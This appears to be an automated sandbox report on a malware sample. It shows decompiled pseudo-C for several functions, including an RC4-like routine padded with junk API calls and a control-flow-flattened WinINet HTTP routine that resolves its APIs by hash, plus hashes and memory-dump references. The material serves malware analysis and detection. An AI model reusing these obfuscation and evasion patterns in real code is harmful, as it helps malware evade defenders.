COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01150719() {
				_Unknown_base(*)()* _t2;
				void* _t3;
				void* _t4;

				_t3 = _t4;
				_t2 = SetUnhandledExceptionFilter( *(_t3 + 8)); // executed
				return _t2;
			}

0x0115071b
0x0115071f
0x01150726

APIs

SetUnhandledExceptionFilter.KERNELBASE(?,?,0114FAA6,0114FA5B), ref: 0115071F

Memory Dump Source

Source File: 00000001.00000002.468255473.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000001.00000002.468244212.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468321613.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468348451.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.468363090.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1140000_ipsmsnap.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 8aaa5e97173801a2077f848e53e7328c09d8ad32acdca14b0c60fc358481e52b
Instruction ID: e8785eee4eaab3003c717bab5670a02be5577743a800626d91e5608d18a50541
Opcode Fuzzy Hash: 8aaa5e97173801a2077f848e53e7328c09d8ad32acdca14b0c60fc358481e52b
Instruction Fuzzy Hash: 4DA0017618110DEBCB151A92FD498AA3F6DEA4B2EA7024062F45D448258723A5A29AA1

Uniqueness

Uniqueness Score: -1.00%

Function 011442E0, Relevance: 488.0, APIs: 324, Strings: 1, Instructions: 463
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 99%

			E011442E0(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16, intOrPtr _a20, signed int _a24) {
				void* _v5;
				signed int _v12;
				intOrPtr _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				signed int _v32;
				signed int _t101;
				intOrPtr _t102;
				intOrPtr _t103;
				signed int _t104;
				void* _t464;
				signed int _t465;
				signed int _t483;
				void* _t491;
				void* _t524;
				void* _t529;
				void* _t531;

				_t101 =  *0x1169004; // 0x3db9
				_push(_t101); // executed
				_t102 = E01149F2F(_t464, _t491, _t524, _t531); // executed
				_v28 = _t102;
				_t465 =  *0x1169004; // 0x3db9
				_push(_t465); // executed
				_t103 = E01149F2F(_t464, _t491, _t524, _t531); // executed
				_v16 = _t103;
				_v20 = 0;
				_v32 = 0;
				_v12 = 0;
				_v12 = 0;
				while(1) {
					_t104 = _v12;
					_t529 = _t104 -  *0x1169004; // 0x3db9
					if(_t529 >= 0) {
						break;
					}
					 *(_v16 + _v12) = _v12;
					asm("cdq");
					 *(_v28 + _v12) =  *((intOrPtr*)(_a12 + _v12 % _a16));
					_v12 = _v12 + 1;
				}
				_v12 = 0;
				while(1) {
					__eflags = _v12 -  *0x1169004; // 0x3db9
					if(__eflags >= 0) {
						break;
					}
					_v20 = (( *(_v16 + _v12) & 0x000000ff) + _v20 + ( *(_v28 + _v12) & 0x000000ff)) %  *0x1169004;
					_v5 =  *(_v16 + _v20);
					 *(_v16 + _v20) =  *(_v16 + _v12);
					 *(_v16 + _v12) = _v5;
					_t104 = _v12 + 1;
					__eflags = _t104;
					_v12 = _t104;
				}
				_v20 = 0;
				_v24 = 0;
				while(1) {
					__eflags = _v24 - _a8;
					if(_v24 >= _a8) {
						break;
					}
					_v12 = (_v12 + 1) %  *0x1169004;
					_v20 = (( *(_v16 + _v12) & 0x000000ff) + _v20) %  *0x1169004;
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					_v5 = ( *(_v16 + _v20) & 0x000000ff) + _a24 * _a24;
					 *(_v16 + _v20) = ( *(_v16 + _v12) & 0x000000ff) + _a24 * _a24;
					 *(_v16 + _v12) = _v5;
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					_v32 = (( *(_v16 + _v12) & 0x000000ff) + ( *(_v16 + _v20) & 0x000000ff)) %  *0x1169004 + _a24 * _a24;
					_t104 = _a24 * _a24;
					 *((char*)(_a20 + _v24)) =  *(_a4 + _v24) & 0x000000ff ^ ( *(_v16 + _v32) & 0x000000ff) + _t104;
					_t483 = _v24 + 1;
					__eflags = _t483;
					_v24 = _t483;
				}
				return _t104;
			}

APIs

Part of subcall function 01149F2F: __FF_MSGBANNER.LIBCMT ref: 01149F46
Part of subcall function 01149F2F: RtlAllocateHeap.NTDLL(00E90000,00000000,00000001,?,?,?,?,011442F1,00003DB9), ref: 01149F72

GetLastError.KERNEL32 ref: 01144411
GetLastError.KERNEL32 ref: 01144417
GetLastError.KERNEL32 ref: 0114441D
GetLastError.KERNEL32 ref: 01144423
GetLastError.KERNEL32 ref: 01144429
GetLastError.KERNEL32 ref: 0114442F
GetLastError.KERNEL32 ref: 01144435
GetLastError.KERNEL32 ref: 0114443B
GetLastError.KERNEL32 ref: 01144441
GetLastError.KERNEL32 ref: 01144447
GetLastError.KERNEL32 ref: 0114444D
GetLastError.KERNEL32 ref: 01144453
GetLastError.KERNEL32 ref: 01144459
GetLastError.KERNEL32 ref: 0114445F
GetLastError.KERNEL32 ref: 01144465
GetLastError.KERNEL32 ref: 0114446B
GetLastError.KERNEL32 ref: 01144471
GetLastError.KERNEL32 ref: 01144477
GetLastError.KERNEL32 ref: 0114447D
GetLastError.KERNEL32 ref: 01144483
GetLastError.KERNEL32 ref: 01144489
GetLastError.KERNEL32 ref: 0114448F
GetLastError.KERNEL32 ref: 01144495
GetLastError.KERNEL32 ref: 0114449B
GetLastError.KERNEL32 ref: 011444A1
GetLastError.KERNEL32 ref: 011444A7
GetLastError.KERNEL32 ref: 011444AD
GetLastError.KERNEL32 ref: 011444B3
GetLastError.KERNEL32 ref: 011444B9
GetLastError.KERNEL32 ref: 011444BF
GetLastError.KERNEL32 ref: 011444C5
GetLastError.KERNEL32 ref: 011444CB
GetLastError.KERNEL32 ref: 011444D1
GetLastError.KERNEL32 ref: 011444D7
GetLastError.KERNEL32 ref: 011444DD
GetLastError.KERNEL32 ref: 011444E3
GetLastError.KERNEL32 ref: 011444E9
GetLastError.KERNEL32 ref: 011444EF
GetLastError.KERNEL32 ref: 011444F5
GetLastError.KERNEL32 ref: 011444FB
GetLastError.KERNEL32 ref: 01144501
GetLastError.KERNEL32 ref: 01144507
GetLastError.KERNEL32 ref: 0114450D
GetLastError.KERNEL32 ref: 01144513
GetLastError.KERNEL32 ref: 01144519
GetLastError.KERNEL32 ref: 0114451F
GetLastError.KERNEL32 ref: 01144525
GetLastError.KERNEL32 ref: 0114452B

Strings

P>\, xrefs: 011442EB

Memory Dump Source

Source File: 00000001.00000002.468255473.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000001.00000002.468244212.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468321613.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468348451.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.468363090.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1140000_ipsmsnap.jbxd

Similarity

API ID: ErrorLast$AllocateHeap
String ID: P>\
API String ID: 4219743298-3158822007
Opcode ID: 2097d1fbd2d47193264c1344632841dce033eeebcfb9aad4f752eae15032d567
Instruction ID: c3d24937a869463fcea08cc0e054b098dadedf488a09e3e5016397dfe1928f52
Opcode Fuzzy Hash: 2097d1fbd2d47193264c1344632841dce033eeebcfb9aad4f752eae15032d567
Instruction Fuzzy Hash: DD611A74D08259EFCB09CFA8C490BAEBFB2BF59308F188095D461A7356C335A665CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00402B60, Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 311
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 73%

			E00402B60(void* __ecx, intOrPtr __edx) {
				void* __ebx;
				void* __ebp;
				void* _t36;
				void* _t38;
				void* _t40;
				signed int _t46;
				void* _t50;
				void* _t52;
				void* _t55;
				void* _t56;
				void* _t57;
				void* _t62;
				void* _t64;
				void* _t66;
				void* _t69;
				void* _t70;
				long _t72;
				void* _t89;
				intOrPtr _t90;
				void* _t146;
				void* _t147;
				void* _t149;
				void* _t151;
				void* _t152;
				void* _t156;
				long _t157;
				void* _t162;
				void* _t163;
				void* _t166;
				void* _t167;

				_t162 =  *(_t163 + 0x3c);
				 *(_t163 + 0x2c) = __ecx;
				_t89 =  *(_t163 + 0x2c);
				 *((intOrPtr*)(_t163 + 0x30)) = __edx;
				_t151 = 0x1e1fb102;
				 *(_t163 + 0x14) = 0;
				 *(_t163 + 0x24) = 0;
				 *((intOrPtr*)(_t163 + 0x1c)) = 0;
				 *((intOrPtr*)(_t163 + 0x10)) = 0;
				while(1) {
					L1:
					_t146 =  *(_t163 + 0x18);
					while(1) {
						L2:
						_t166 = _t151 - 0x1bfe8344;
						if(_t166 > 0) {
							break;
						}
						if(_t166 == 0) {
							__eflags = _t162;
							if(_t162 == 0) {
								_t157 = 0;
								_t147 = 0;
								__eflags = 0;
							} else {
								_t157 =  *(_t162 + 4);
								_t147 =  *_t162;
							}
							__eflags =  *0x40dd88;
							if( *0x40dd88 == 0) {
								 *0x40dd88 = E00403DA0(_t89, E00403E40(0x7f04751d), 0xc5c4b56, _t162);
							}
							_t46 = HttpSendRequestW(_t89,  *(_t163 + 0x4c), 0xffffffff, _t147, _t157); // executed
							asm("sbb esi, esi");
							_t151 = ( ~_t46 & 0xcb3f89e4) + 0x36962f63;
							goto L1;
						} else {
							_t167 = _t151 - 0xbda607b;
							if(_t167 > 0) {
								__eflags = _t151 - 0x14035aa4;
								if(_t151 == 0x14035aa4) {
									__eflags = E00402900(_t89,  *((intOrPtr*)(_t163 + 0x48)));
									_t103 =  !=  ? 1 :  *((intOrPtr*)(_t163 + 0x10));
									 *((intOrPtr*)(_t163 + 0x10)) =  !=  ? 1 :  *((intOrPtr*)(_t163 + 0x10));
									goto L22;
								} else {
									__eflags = _t151 - 0x1b5e8685;
									if(_t151 != 0x1b5e8685) {
										goto L48;
									} else {
										__eflags =  *0x40db48;
										if( *0x40db48 == 0) {
											 *0x40db48 = E00403DA0(_t89, E00403E40(0x7f04751d), 0x5cb72280, _t162);
										}
										_t50 = InternetConnectW( *(_t163 + 0x3c),  *(_t163 + 0x4c),  *(_t163 + 0x44), 0, 0, 3, 0, 0); // executed
										_t146 = _t50;
										__eflags = _t146;
										 *(_t163 + 0x18) = _t146;
										_t151 =  !=  ? 0x32752ff5 : 0xbda607b;
										continue;
									}
								}
							} else {
								if(_t167 == 0) {
									_t52 =  *0x40dc40;
									__eflags = _t52;
									if(_t52 == 0) {
										_t52 = E00403DA0(_t89, E00403E40(0x7f04751d), 0x7d016cb1, _t162);
										 *0x40dc40 = _t52;
									}
									 *_t52( *(_t163 + 0x20));
								} else {
									if(_t151 == 0x1d5b947) {
										_t55 =  *0x40dda8; // 0x0
										 *((intOrPtr*)(_t163 + 0x28)) = 4;
										__eflags = _t55;
										if(_t55 == 0) {
											_t55 = E00403DA0(_t89, E00403E40(0x7f04751d), 0x5261ec27, _t162);
											 *0x40dda8 = _t55;
										}
										_t56 =  *_t55(_t89, 0x20000013, _t163 + 0x34, _t163 + 0x2c, 0);
										__eflags = _t56;
										if(_t56 == 0) {
											L22:
											_t151 = 0x36962f63;
											continue;
										} else {
											__eflags =  *(_t163 + 0x2c) - 0xc8;
											if( *(_t163 + 0x2c) != 0xc8) {
												goto L22;
											} else {
												_t151 = 0x14035aa4;
												continue;
											}
										}
										L69:
									} else {
										if(_t151 != 0x676502a) {
											L48:
											__eflags = _t151 - 0x1ed57a0f;
											if(_t151 != 0x1ed57a0f) {
												while(1) {
													L1:
													_t146 =  *(_t163 + 0x18);
													goto L2;
												}
											}
										} else {
											_t57 =  *0x40dc40;
											if(_t57 == 0) {
												_t57 = E00403DA0(_t89, E00403E40(0x7f04751d), 0x7d016cb1, _t162);
												 *0x40dc40 = _t57;
											}
											 *_t57(_t146);
											_t151 = 0xbda607b;
											continue;
										}
									}
								}
							}
						}
						L68:
						return  *((intOrPtr*)(_t163 + 0x10));
						goto L69;
					}
					__eflags = _t151 - 0x2f5bf5ce;
					if(__eflags > 0) {
						__eflags = _t151 - 0x32752ff5;
						if(_t151 == 0x32752ff5) {
							__eflags = _t162;
							if(_t162 == 0) {
								_t90 =  *((intOrPtr*)(_t163 + 0x1c));
							} else {
								_t90 = E00403480(0x40d280);
								 *((intOrPtr*)(_t163 + 0x1c)) = _t90;
							}
							_t36 =  *0x40dcb0;
							__eflags = _t36;
							if(_t36 == 0) {
								_t36 = E00403DA0(_t90, E00403E40(0x7f04751d), 0xd54565f4, _t162);
								 *0x40dcb0 = _t36;
							}
							_t89 =  *_t36(_t146, _t90,  *((intOrPtr*)(_t163 + 0x50)), 0, 0, 0, 0x844cc300, 0);
							_t38 =  *0x40dddc;
							__eflags = _t38;
							if(_t38 == 0) {
								_t38 = E00403DA0(_t89, E00403E40(0xef98c369), 0x1d0c230b, _t162);
								 *0x40dddc = _t38;
							}
							_t152 =  *_t38();
							_t40 =  *0x40dcc4;
							__eflags = _t40;
							if(_t40 == 0) {
								_t40 = E00403DA0(_t89, E00403E40(0xef98c369), 0x32b05876, _t162);
								 *0x40dcc4 = _t40;
							}
							 *_t40(_t152, 0,  *((intOrPtr*)(_t163 + 0x1c)));
							__eflags = _t89;
							_t151 =  !=  ? 0x1bfe8344 : 0x676502a;
							goto L2;
						} else {
							__eflags = _t151 - 0x36962f63;
							if(_t151 != 0x36962f63) {
								goto L48;
							} else {
								__eflags =  *0x40dc40;
								if( *0x40dc40 == 0) {
									 *0x40dc40 = E00403DA0(_t89, E00403E40(0x7f04751d), 0x7d016cb1, _t162);
								}
								InternetCloseHandle(_t89); // executed
								_t151 = 0x676502a;
								goto L2;
							}
						}
					} else {
						if(__eflags == 0) {
							__eflags =  *0x40de50;
							if( *0x40de50 == 0) {
								 *0x40de50 = E00403DA0(_t89, E00403E40(0x7f04751d), 0xd36cd462, _t162);
							}
							_t62 = InternetOpenW( *(_t163 + 0x24), 0, 0, 0, 0); // executed
							__eflags = _t62;
							 *(_t163 + 0x20) = _t62;
							_t151 =  !=  ? 0x1b5e8685 : 0x1ed57a0f;
							_t64 =  *0x40dddc;
							__eflags = _t64;
							if(_t64 == 0) {
								_t64 = E00403DA0(_t89, E00403E40(0xef98c369), 0x1d0c230b, _t162);
								 *0x40dddc = _t64;
							}
							_t149 =  *_t64();
							_t66 =  *0x40dcc4;
							__eflags = _t66;
							if(_t66 == 0) {
								_t66 = E00403DA0(_t89, E00403E40(0xef98c369), 0x32b05876, _t162);
								 *0x40dcc4 = _t66;
							}
							 *_t66(_t149, 0,  *(_t163 + 0x14));
							goto L48;
						} else {
							__eflags = _t151 - 0x1e1fb102;
							if(_t151 == 0x1e1fb102) {
								_t151 = 0x245b5686;
								goto L2;
							} else {
								__eflags = _t151 - 0x245b5686;
								if(_t151 != 0x245b5686) {
									goto L48;
								} else {
									 *(_t163 + 0x24) = 0x200;
									_t156 = E004041C0(_t89, 0x200);
									__eflags = _t156;
									if(_t156 != 0) {
										_t69 =  *0x40deb0;
										__eflags = _t69;
										if(_t69 == 0) {
											_t69 = E00403DA0(_t89, E00403E40(0x468b028), 0xc5185a88, _t162);
											 *0x40deb0 = _t69;
										}
										_t70 =  *_t69(0, _t156, _t163 + 0x24); // executed
										__eflags = _t70;
										if(_t70 == 0) {
											_t72 = E00405620(_t156, _t162);
											_t163 = _t163 - 8 + 8;
											 *(_t163 + 0x14) = _t72;
										}
										E00404120(_t89, _t156);
									}
									_t151 = 0x2f5bf5ce;
									goto L2;
								}
							}
						}
					}
					goto L68;
				}
			}

0x00402b65
0x00402b69
0x00402b6f
0x00402b77
0x00402b7b
0x00402b80
0x00402b88
0x00402b90
0x00402b94
0x00402b98
0x00402b98
0x00402b98
0x00402ba0
0x00402ba0
0x00402ba0
0x00402ba6
0x00000000
0x00000000
0x00402bac
0x00402cf7
0x00402cf9
0x00402d03
0x00402d05
0x00402d05
0x00402cfb
0x00402cfb
0x00402cfe
0x00402cfe
0x00402d0c
0x00402d0e
0x00402d26
0x00402d26
0x00402d34
0x00402d3a
0x00402d42
0x00000000
0x00402bb2
0x00402bb2
0x00402bb8
0x00402c66
0x00402c6c
0x00402cdf
0x00402ce6
0x00402ce9
0x00000000
0x00402c6e
0x00402c6e
0x00402c74
0x00000000
0x00402c7a
0x00402c7f
0x00402c81
0x00402c99
0x00402c99
0x00402cb4
0x00402cb6
0x00402cbd
0x00402cbf
0x00402cc8
0x00000000
0x00402cc8
0x00402c74
0x00402bbe
0x00402bbe
0x00402f94
0x00402f99
0x00402f9b
0x00402fae
0x00402fb3
0x00402fb3
0x00402fbc
0x00402bc4
0x00402bca
0x00402c06
0x00402c0b
0x00402c13
0x00402c15
0x00402c28
0x00402c2d
0x00402c2d
0x00402c44
0x00402c46
0x00402c48
0x00402ced
0x00402ced
0x00000000
0x00402c4e
0x00402c4e
0x00402c56
0x00000000
0x00402c5c
0x00402c5c
0x00000000
0x00402c5c
0x00402c56
0x00000000
0x00402bcc
0x00402bd2
0x00402e83
0x00402e83
0x00402e89
0x00402b98
0x00402b98
0x00402b98
0x00000000
0x00402b98
0x00402b98
0x00402bd8
0x00402bd8
0x00402bdf
0x00402bf2
0x00402bf7
0x00402bf7
0x00402bfd
0x00402bff
0x00000000
0x00402bff
0x00402bd2
0x00402bca
0x00402bbe
0x00402bb8
0x00402fbe
0x00402fc9
0x00000000
0x00402fc9
0x00402d4d
0x00402d53
0x00402e94
0x00402e9a
0x00402ed5
0x00402ed7
0x00402eeb
0x00402ed9
0x00402ee3
0x00402ee5
0x00402ee5
0x00402eef
0x00402ef4
0x00402ef6
0x00402f09
0x00402f0e
0x00402f0e
0x00402f28
0x00402f2a
0x00402f2f
0x00402f31
0x00402f44
0x00402f49
0x00402f49
0x00402f50
0x00402f52
0x00402f57
0x00402f59
0x00402f6c
0x00402f71
0x00402f71
0x00402f7e
0x00402f80
0x00402f8c
0x00000000
0x00402e9c
0x00402e9c
0x00402ea2
0x00000000
0x00402ea4
0x00402ea9
0x00402eab
0x00402ec3
0x00402ec3
0x00402ec9
0x00402ecb
0x00000000
0x00402ecb
0x00402ea2
0x00402d59
0x00402d59
0x00402dee
0x00402df0
0x00402e08
0x00402e08
0x00402e19
0x00402e1b
0x00402e1d
0x00402e2b
0x00402e2e
0x00402e33
0x00402e35
0x00402e48
0x00402e4d
0x00402e4d
0x00402e54
0x00402e56
0x00402e5b
0x00402e5d
0x00402e70
0x00402e75
0x00402e75
0x00402e81
0x00000000
0x00402d5f
0x00402d5f
0x00402d65
0x00402ddf
0x00000000
0x00402d67
0x00402d67
0x00402d6d
0x00000000
0x00402d73
0x00402d78
0x00402d85
0x00402d87
0x00402d89
0x00402d8b
0x00402d90
0x00402d92
0x00402da5
0x00402daa
0x00402daa
0x00402db7
0x00402db9
0x00402dbb
0x00402dc2
0x00402dc7
0x00402dca
0x00402dca
0x00402dd0
0x00402dd0
0x00402dd5
0x00000000
0x00402dd5
0x00402d6d
0x00402d65
0x00402d59
0x00000000
0x00402d53

APIs

InternetConnectW.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00402CB4
HttpSendRequestW.WININET(00000000,?,000000FF,00000000,00000000), ref: 00402D34
ObtainUserAgentString.URLMON(00000000,00000000,00000200), ref: 00402DB7
InternetOpenW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00402E19
InternetCloseHandle.WININET(?), ref: 00402EC9

Strings

'aR, xrefs: 00402C21

Memory Dump Source

Source File: 00000001.00000002.467384235.0000000000401000.00000020.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.467365188.0000000000400000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.467420212.000000000040D000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ipsmsnap.jbxd

Yara matches

Similarity

API ID: Internet$AgentCloseConnectHandleHttpObtainOpenRequestSendStringUser
String ID: 'aR
API String ID: 1741791824-1895538066
Opcode ID: d9172d638ec3060aa2f44cb5b172d394101f831373d608eda5b132bb7043893b
Instruction ID: c68f380bd2809620d3d998df547787639872a9fba8caf87b5a007907afeaf8d6
Opcode Fuzzy Hash: d9172d638ec3060aa2f44cb5b172d394101f831373d608eda5b132bb7043893b
Instruction Fuzzy Hash: E8B1BF30A043015BEB14AFA68E4872B76E5AFC8704F50053EF955BB3D0EAB8DD0597CA

Uniqueness

Uniqueness Score: -1.00%

Function 0114FC05, Relevance: 7.7, APIs: 5, Instructions: 232
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E0114FC05(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t82;
				signed int _t86;
				long _t90;
				void* _t91;
				signed int _t94;
				signed int _t95;
				signed int _t99;
				signed int _t100;
				signed char _t104;
				signed int _t107;
				intOrPtr _t108;
				intOrPtr* _t111;
				signed char _t113;
				signed int _t114;
				long _t121;
				intOrPtr _t132;
				signed int _t136;
				signed int _t137;
				void* _t139;
				signed int _t142;
				void** _t143;
				signed int _t145;
				signed int _t146;
				signed int _t147;
				signed int _t151;
				signed int _t153;
				void* _t154;
				signed int _t158;
				void* _t159;
				void* _t160;

				_push(0x64);
				_push(0x1167718);
				E0114B2A0(__ebx, __edi, __esi);
				E01150E7E(__ebx, __edi, 0xb);
				 *((intOrPtr*)(_t159 - 4)) = 0;
				_push(0x40);
				_t145 = 0x20;
				_push(_t145); // executed
				_t82 = E0114B1BE(); // executed
				_t136 = _t82;
				 *(_t159 - 0x24) = _t136;
				_t137 = _t136;
				if(_t137 != 0) {
					 *0x116b450 = _t82;
					 *0x116cc24 = _t145;
					while(1) {
						__eflags = _t137 - _t82 + 0x800;
						if(_t137 >= _t82 + 0x800) {
							break;
						}
						 *((short*)(_t137 + 4)) = 0xa00;
						 *_t137 =  *_t137 | 0xffffffff;
						 *((intOrPtr*)(_t137 + 8)) = 0;
						 *(_t137 + 0x24) =  *(_t137 + 0x24) & 0x00000080;
						 *(_t137 + 0x24) =  *(_t137 + 0x24) & 0x0000007f;
						 *((short*)(_t137 + 0x25)) = 0xa0a;
						 *((intOrPtr*)(_t137 + 0x38)) = 0;
						 *((char*)(_t137 + 0x34)) = 0;
						_t137 = _t137 + 0x40;
						 *(_t159 - 0x24) = _t137;
						_t82 =  *0x116b450; // 0xeaffb8
					}
					GetStartupInfoW(_t159 - 0x74);
					__eflags =  *((short*)(_t159 - 0x42));
					if( *((short*)(_t159 - 0x42)) == 0) {
						L27:
						_t132 = 0xfffffffe;
						L28:
						_t146 = 0;
						__eflags = 0;
						while(1) {
							 *(_t159 - 0x2c) = _t146;
							__eflags = _t146 - 3;
							if(_t146 >= 3) {
								break;
							}
							_t151 = (_t146 << 6) +  *0x116b450;
							 *(_t159 - 0x24) = _t151;
							__eflags =  *_t151 - 0xffffffff;
							if( *_t151 == 0xffffffff) {
								L33:
								 *(_t151 + 4) = 0x81;
								_t146 = _t146;
								__eflags = _t146;
								if(_t146 != 0) {
									_t65 = _t146 - 1; // 0x1f
									asm("sbb eax, eax");
									_t90 =  ~_t65 + 0xfffffff5;
									__eflags = _t90;
								} else {
									_t90 = 0xfffffff6;
								}
								_t91 = GetStdHandle(_t90);
								 *(_t159 - 0x1c) = _t91;
								__eflags = _t91 - 0xffffffff;
								if(_t91 == 0xffffffff) {
									L45:
									 *(_t151 + 4) =  *(_t151 + 4) | 0x00000040;
									 *_t151 = _t132;
									_t94 =  *0x116cb80; // 0xeb0fc8
									_t95 = _t94;
									__eflags = _t95;
									if(_t95 != 0) {
										 *((intOrPtr*)( *((intOrPtr*)(_t95 + _t146 * 4)) + 0x10)) = _t132;
									}
									goto L47;
								} else {
									__eflags = _t91;
									if(_t91 == 0) {
										goto L45;
									}
									_t99 = GetFileType(_t91);
									__eflags = _t99;
									if(_t99 == 0) {
										goto L45;
									}
									 *_t151 =  *(_t159 - 0x1c);
									_t100 = _t99 & 0x000000ff;
									__eflags = _t100 - 2;
									if(_t100 != 2) {
										__eflags = _t100 - 3;
										if(_t100 != 3) {
											L44:
											_t71 = _t151 + 0xc; // -18265124
											E01150420(_t71, 0xfa0, 0);
											_t160 = _t160 + 0xc;
											 *((intOrPtr*)(_t151 + 8)) =  *((intOrPtr*)(_t151 + 8)) + 1;
											L47:
											_t146 = _t146 + 1;
											continue;
										}
										_t104 =  *(_t151 + 4) | 0x00000008;
										__eflags = _t104;
										L43:
										 *(_t151 + 4) = _t104;
